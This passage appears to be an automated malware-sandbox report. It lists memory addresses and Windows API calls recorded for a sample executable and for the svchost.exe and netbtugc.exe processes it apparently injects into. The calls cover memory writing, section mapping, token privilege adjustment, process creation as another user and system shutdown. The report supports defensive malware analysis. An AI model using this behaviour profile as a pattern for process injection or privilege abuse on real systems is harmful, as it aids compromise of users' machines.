Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22DD0 NtDelayExecution,LdrInitializeThunk,	6_2_03B22DD0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_03B22D30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_03B22D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_03B22CA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03B22C70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22C60 NtCreateKey,LdrInitializeThunk,	6_2_03B22C60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B235C0 NtCreateMutant,LdrInitializeThunk,	6_2_03B235C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B239B0 NtGetContextThread,LdrInitializeThunk,	6_2_03B239B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22B80 NtQueryInformationFile,	6_2_03B22B80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22AB0 NtWaitForSingleObject,	6_2_03B22AB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22FA0 NtQuerySection,	6_2_03B22FA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22F90 NtProtectVirtualMemory,	6_2_03B22F90
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22F60 NtCreateProcessEx,	6_2_03B22F60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22EA0 NtAdjustPrivilegesToken,	6_2_03B22EA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22E30 NtWriteVirtualMemory,	6_2_03B22E30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22DB0 NtEnumerateKey,	6_2_03B22DB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22D00 NtSetInformationFile,	6_2_03B22D00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22CF0 NtOpenProcess,	6_2_03B22CF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22CC0 NtQueryVirtualMemory,	6_2_03B22CC0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22C00 NtQueryInformationProcess,	6_2_03B22C00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B23090 NtSetValueKey,	6_2_03B23090
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B23010 NtOpenDirectoryObject,	6_2_03B23010
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B23D10 NtOpenProcessToken,	6_2_03B23D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B23D70 NtOpenThread,	6_2_03B23D70
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03308F50 NtDeleteFile,	6_2_03308F50
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03308E60 NtReadFile,	6_2_03308E60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03308CF0 NtCreateFile,	6_2_03308CF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03309160 NtAllocateVirtualMemory,	6_2_03309160
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03309000 NtClose,	6_2_03309000

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044EB59	0_2_0044EB59
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_04199E80	0_2_04199E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418113	1_2_00418113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040F9C3	1_2_0040F9C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040F9BC	1_2_0040F9BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402209	1_2_00402209
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402210	1_2_00402210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004162FE	1_2_004162FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004162BC	1_2_004162BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416303	1_2_00416303
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FBE3	1_2_0040FBE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040DC63	1_2_0040DC63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402DC0	1_2_00402DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042E653	1_2_0042E653
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FA352	1_2_035FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036003E6	1_2_036003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E3F0	1_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C02C0	1_2_035C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C8158	1_2_035C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DA118	1_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530100	1_2_03530100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F81CC	1_2_035F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036001AA	1_2_036001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F41A2	1_2_035F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03564750	1_2_03564750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353C7C0	1_2_0353C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355C6E0	1_2_0355C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03600591	1_2_03600591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F2446	1_2_035F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E4420	1_2_035E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EE4F6	1_2_035EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FAB40	1_2_035FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F6BD7	1_2_035F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03556962	1_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0360A9A6	1_2_0360A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354A840	1_2_0354A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03542840	1_2_03542840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E8F0	1_2_0356E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035268B8	1_2_035268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B4F40	1_2_035B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03560F30	1_2_03560F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E2F30	1_2_035E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03582F28	1_2_03582F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03532FC8	1_2_03532FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BEFA0	1_2_035BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540E59	1_2_03540E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FEE26	1_2_035FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FEEDB	1_2_035FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552E90	1_2_03552E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FCE93	1_2_035FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DCD1F	1_2_035DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354AD00	1_2_0354AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353ADE0	1_2_0353ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03558DBF	1_2_03558DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540C00	1_2_03540C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530CF2	1_2_03530CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0CB5	1_2_035E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352D34C	1_2_0352D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F132D	1_2_035F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0358739A	1_2_0358739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355B2C0	1_2_0355B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355D2F0	1_2_0355D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E12ED	1_2_035E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035452A0	1_2_035452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0360B16B	1_2_0360B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352F172	1_2_0352F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0357516C	1_2_0357516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354B1B0	1_2_0354B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EF0CC	1_2_035EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035470C0	1_2_035470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F70E9	1_2_035F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FF0E0	1_2_035FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FF7B0	1_2_035FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03585630	1_2_03585630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F16CC	1_2_035F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F7571	1_2_035F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DD5B0	1_2_035DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03531460	1_2_03531460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FF43F	1_2_035FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FFB76	1_2_035FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B5BF0	1_2_035B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0357DBF9	1_2_0357DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355FB80	1_2_0355FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FFA49	1_2_035FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F7A46	1_2_035F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B3A6C	1_2_035B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EDAC6	1_2_035EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DDAAC	1_2_035DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03585AA0	1_2_03585AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E1AA3	1_2_035E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03549950	1_2_03549950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355B950	1_2_0355B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D5910	1_2_035D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AD800	1_2_035AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035438E0	1_2_035438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FFF09	1_2_035FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03541F92	1_2_03541F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FFFB1	1_2_035FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03549EB0	1_2_03549EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F1D5A	1_2_035F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03543D40	1_2_03543D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F7D73	1_2_035F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355FDC0	1_2_0355FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B9C32	1_2_035B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FFCF2	1_2_035FFCF2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BB03E6	6_2_03BB03E6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AFE3F0	6_2_03AFE3F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAA352	6_2_03BAA352
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B702C0	6_2_03B702C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B90274	6_2_03B90274
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BB01AA	6_2_03BB01AA
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA41A2	6_2_03BA41A2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA81CC	6_2_03BA81CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B8A118	6_2_03B8A118
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AE0100	6_2_03AE0100
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B78158	6_2_03B78158
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B82000	6_2_03B82000
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AEC7C0	6_2_03AEC7C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF0770	6_2_03AF0770
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B14750	6_2_03B14750
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0C6E0	6_2_03B0C6E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BB0591	6_2_03BB0591
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF0535	6_2_03AF0535
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B9E4F6	6_2_03B9E4F6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B94420	6_2_03B94420
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA2446	6_2_03BA2446
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA6BD7	6_2_03BA6BD7
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAAB40	6_2_03BAAB40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AEEA80	6_2_03AEEA80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF29A0	6_2_03AF29A0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BBA9A6	6_2_03BBA9A6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B06962	6_2_03B06962
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AD68B8	6_2_03AD68B8
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B1E8F0	6_2_03B1E8F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF2840	6_2_03AF2840
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AFA840	6_2_03AFA840
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B6EFA0	6_2_03B6EFA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AE2FC8	6_2_03AE2FC8
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B10F30	6_2_03B10F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B92F30	6_2_03B92F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B32F28	6_2_03B32F28
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B64F40	6_2_03B64F40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B02E90	6_2_03B02E90
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BACE93	6_2_03BACE93
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAEEDB	6_2_03BAEEDB
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAEE26	6_2_03BAEE26
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF0E59	6_2_03AF0E59
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B08DBF	6_2_03B08DBF
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AEADE0	6_2_03AEADE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B8CD1F	6_2_03B8CD1F
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AFAD00	6_2_03AFAD00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B90CB5	6_2_03B90CB5
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AE0CF2	6_2_03AE0CF2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF0C00	6_2_03AF0C00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B3739A	6_2_03B3739A
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA132D	6_2_03BA132D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03ADD34C	6_2_03ADD34C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF52A0	6_2_03AF52A0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0D2F0	6_2_03B0D2F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B912ED	6_2_03B912ED
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0B2C0	6_2_03B0B2C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AFB1B0	6_2_03AFB1B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BBB16B	6_2_03BBB16B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B2516C	6_2_03B2516C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03ADF172	6_2_03ADF172
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA70E9	6_2_03BA70E9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAF0E0	6_2_03BAF0E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF70C0	6_2_03AF70C0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B9F0CC	6_2_03B9F0CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAF7B0	6_2_03BAF7B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA16CC	6_2_03BA16CC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B35630	6_2_03B35630
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B8D5B0	6_2_03B8D5B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BB95C3	6_2_03BB95C3
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA7571	6_2_03BA7571
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAF43F	6_2_03BAF43F
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AE1460	6_2_03AE1460
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0FB80	6_2_03B0FB80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B65BF0	6_2_03B65BF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B2DBF9	6_2_03B2DBF9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAFB76	6_2_03BAFB76
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B35AA0	6_2_03B35AA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B8DAAC	6_2_03B8DAAC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B91AA3	6_2_03B91AA3
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B9DAC6	6_2_03B9DAC6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B63A6C	6_2_03B63A6C
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAFA49	6_2_03BAFA49
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA7A46	6_2_03BA7A46
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B85910	6_2_03B85910
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0B950	6_2_03B0B950
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF9950	6_2_03AF9950
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF38E0	6_2_03AF38E0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B5D800	6_2_03B5D800
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAFFB1	6_2_03BAFFB1
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF1F92	6_2_03AF1F92
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAFF09	6_2_03BAFF09
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF9EB0	6_2_03AF9EB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B0FDC0	6_2_03B0FDC0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA7D73	6_2_03BA7D73
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BA1D5A	6_2_03BA1D5A
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AF3D40	6_2_03AF3D40
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03BAFCF2	6_2_03BAFCF2
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B69C32	6_2_03B69C32
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F1A30	6_2_032F1A30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032ECB80	6_2_032ECB80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032EC960	6_2_032EC960
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032EC959	6_2_032EC959
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032EAC00	6_2_032EAC00
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F3259	6_2_032F3259
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F32A0	6_2_032F32A0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F329B	6_2_032F329B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F50B0	6_2_032F50B0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0330B5F0	6_2_0330B5F0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390E338	6_2_0390E338
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390E7EC	6_2_0390E7EC
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390E453	6_2_0390E453
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390CB03	6_2_0390CB03
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390CAAB	6_2_0390CAAB
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0390D858	6_2_0390D858

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035AEA12 appears 86 times
